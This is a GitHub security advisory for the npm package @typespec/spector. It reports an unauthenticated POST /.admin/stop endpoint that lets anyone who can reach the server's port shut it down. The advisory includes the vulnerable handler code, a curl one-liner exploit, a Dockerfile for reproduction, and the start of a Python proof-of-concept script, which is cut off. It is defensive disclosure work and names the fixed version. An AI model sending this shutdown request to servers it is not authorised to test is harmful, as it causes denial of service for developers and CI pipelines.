GitHub Advisoryadvisory · npm
GHSA-7q9c-hpx7-9cwm TypeSpec: Unauthenticated Remote Shutdown of Spector Mock Server via POST /.admin/stop
HIGH
Official page ↗
- Ecosystem
- npm
- Packages
- @typespec/spector
- Severity
- High
- CVSS vector
- CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
- Weaknesses
- CWE-306
- Reviewed
- 2026-09-04
Affected packages
• npm @typespec/spector: < 0.1.0-alpha.27 → fixed in 0.1.0-alpha.27
Description
Summary
`@typespec/spector` registers a `POST /.admin/stop` HTTP route with no authentication, authorization token, Origin check, or IP-source restriction. Any network-reachable client can send a single unauthenticated POST request to terminate the mock server process. Because the server binds to `0.0.0.0` by default (all interfaces), this endpoint is exposed to any host that can reach the server's port—not just localhost—making a complete denial-of-service trivially achievable with one HTTP request. Severity is High (CVSS 7.5).
Details
The vulnerability originates in `packages/spector/src/routes/admin.ts` at line 7, where an Express router registers the shutdown endpoint with no authentication middleware whatsoever:
```ts
// packages/spector/src/routes/admin.ts:7-12
router.post(AdminUrls.stop, (_req, res) => {
logger.info("Received signal to stop server. Exiting...");
res.status(202).end();
setTimeout(() => {
process.exit(0);
});
});
```
The constant `AdminUrls.stop` resolves to `/.admin/stop` (`packages/spector/src/constants.ts:1-3`).
The complete attack-reachable call chain is:
1. `packages/spector/src/cli/cli.ts:139-166` — `tsp-spector serve ` starts the server on default port `3000`. No `host` option is offered, so binding address is determined by the Express/Node.js default.
2. `packages/spector/src/actions/serve.ts:28-33` — constructs `MockApiApp` and calls `start()` without supplying a host argument.
3. `packages/spector/src/app/app.ts:39-40` — registers `internalRouter` at `/`, which includes the admin routes.
4. `packages/spector/src/routes/index.ts:4-5` — mounts `adminRoutes` under `/`.
5. `packages/spector/src/routes/admin.ts:7-12` — the `POST /.admin/stop` handler (the sink) is reached with zero authentication.
6. `packages/spector/src/server/server.ts:88` — `this.app.listen(this.config.port)` is called without a host argument, causing Node.js/Express to bind on `0.0.0.0` (all network interfaces).
There is no authentication middleware, API token validation, `Authorization` header check, `Origin` header restriction, or IP allowlist anywhere between the inbound HTTP request and the `process.exit(0)` call. The admin route is mounted before scenario routes so it cannot be shadowed.
PoC
Prerequisites:
```
git clone https://github.com/microsoft/typespec
cd typespec
Checkout commit d88ddc16 (affected version 0.1.0-alpha.26)
pnpm install
pnpm build
```
Step 1 — Start the mock server:
```bash
pnpm --filter @typespec/spector exec tsp-spector serve packages/http-specs/specs --port 3000
Server listens on 0.0.0.0:3000 by default
```
Alternatively, use the provided Docker environment:
```bash
Build context: reports/npm_web_64_microsoft__typespec/
docker build -t vuln002-spector -f vuln-002/Dockerfile .
docker run -d -p 3001:3000 --name vuln002-server vuln002-spector
```
Step 2 — Execute the exploit (single unauthenticated request):
```bash
curl -i -X POST http://:3000/.admin/stop
```
Using the provided PoC script:
```bash
python3 vuln-002/poc.py --host 127.0.0.1 --port 3001
```
Step 3 — Observe the result:
```
HTTP/1.1 202 Accepted
```
The server process immediately exits. Subsequent connection attempts are refused. Docker logs show:
```
info Received signal to stop server. Exiting...
```
Docker inspect confirms `ExitCode=0, Status=exited`. No credentials, tokens, or special headers are required at any step.
Impact
This is a Missing Authentication for Critical Function (CWE-306) vulnerability. An unauthenticated remote attacker who can send HTTP traffic to the port where `tsp-spector serve` is listening can terminate the server process with a single POST request, resulting in a complete denial of service.
The primary victims are development or CI/CD pipeline operators who run `tsp-spector serve` in environments where the port is reachable from untrusted network segments—for example, a shared CI runner, a cloud developer environment, a container without proper network isolation, or any host with the port exposed to a network. Because the server binds to `0.0.0.0` by default and the CLI offers no `--host` option to restrict the binding address, operators have no built-in mechanism to mitigate this risk without external firewall rules.
Although `@typespec/spector` is a development/testing tool, there is a clear attacker-victim trust boundary: a third party reachable over the network is distinct from the developer who started the server. The default configuration is vulnerable without any additional attacker capability beyond network reachability.
Reproduction artifacts
`Dockerfile`
```dockerfile
VULN-002 PoC: Unauthenticated Remote Shutdown via POST /.admin/stop
Package: @typespec/spector 0.1.0-alpha.26 (microsoft/typespec)
CWE-306: Missing Authentication for Critical Function CVSS 7.5 (High)
Build context: reports/npm_web_64_microsoft__typespec/
Build: docker build -t vuln002-spector -f vuln-002/Dockerfile .
Run: docker run -d -p 3000:3000 --name vuln002-server vuln002-spector
FROM node:22-slim
Install tsx to run TypeScript source files directly without compilation.
This lets us use the actual repository .ts files as-is.
RUN npm install -g tsx@4
WORKDIR /poc
Minimal package.json declaring ESM mode
RUN echo '{"type":"module"}' > package.json
Install only the npm packages actually used by the vulnerable code path:
express — web framework (admin.ts, routes/index.ts, server.ts)
picocolors — terminal colors (logger.ts)
RUN npm install express picocolors
-----------------------------------------------------------------------
Copy the EXACT vulnerable source files from the repository.
No source file is modified — they are used verbatim.
-----------------------------------------------------------------------
packages/spector/src/constants.ts
Defines AdminUrls.stop = "/.admin/stop"
COPY repo/packages/spector/src/constants.ts ./spector/constants.ts
packages/spector/src/logger.ts
Simple console logger; imported by admin.ts
COPY repo/packages/spector/src/logger.ts ./spector/logger.ts
packages/spector/src/routes/admin.ts ← VULNERABILITY SINK
Registers POST /.admin/stop with NO authentication → process.exit(0)
COPY repo/packages/spector/src/routes/admin.ts ./spector/routes/admin.ts
packages/spector/src/routes/index.ts
Mounts adminRoutes at "/"
COPY repo/packages/spector/src/routes/index.ts ./spector/routes/index.ts
Minimal entry point that connects the router to the HTTP server,
replicating the behaviour of MockApiApp.start() + MockApiServer.start()
COPY vuln-002/server-entry.ts ./server-entry.ts
EXPOSE 3000
tsx strips TypeScript types at runtime — no separate compile step needed
CMD ["tsx", "server-entry.ts"]
```
`poc.py`
```python
!/usr/bin/env python3
"""
PoC for VULN-002: Unauthenticated Remote Shutdown via POST /.admin/stop
Package: @typespec/spector 0.1.0-alpha.26 (microsoft/typespec)
CWE: CWE-306 — Missing Authentication for Critical Function
CVSS v3.1: AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H Base Score: 7.5 (High)
Vulnerability:
packages/spector/src/routes/admin.ts:7 registers POST /.admin/stop without
any authentication, token, Origin, or IP-source check. The handler calls
process.exit(0) after returning HTTP 202. The server listens on 0.0.0.0
(packages/spector/src/server/server.ts:88) so any network-reachable client
can terminate the process with a single unauthenticated POST request.
Usage:
python3 poc.py [--host HOST] [--port PORT]
"""
import sys
import time
import socket
import argparse
import urllib.request
import urllib.error
BANNER = """
================================================================
VULN-002: Unauthenticated Remote Shutdown — POST /.admin/stop
Package : @typespec/spector 0.1.0-alpha.26
CWE : CWE-306 CVSS 7.5 (High)
================================================================
"""
PASS_MSG = """
[EXPLOIT SUCCESSFUL]
1. Server accepted an unauthenticate…
Related
Weakness · CWE (1)
- CWE-306 Missing Authentication for Critical Functionality weakness
References
- https://github.com/microsoft/typespec/security/advisories/GHSA-7q9c-hpx7-9cwm web
- https://github.com/microsoft/typespec/pull/11274 web
- https://github.com/microsoft/typespec/commit/30d6f6598dd796e2d6aea038139d29b91e6a2da7 web
- https://github.com/microsoft/typespec/commit/39f8f0230bb59b17464d8173b6bff4ddee8082a1 web
- https://github.com/microsoft/typespec package
- https://github.com/microsoft/typespec/releases/tag/@typespec/[email protected] web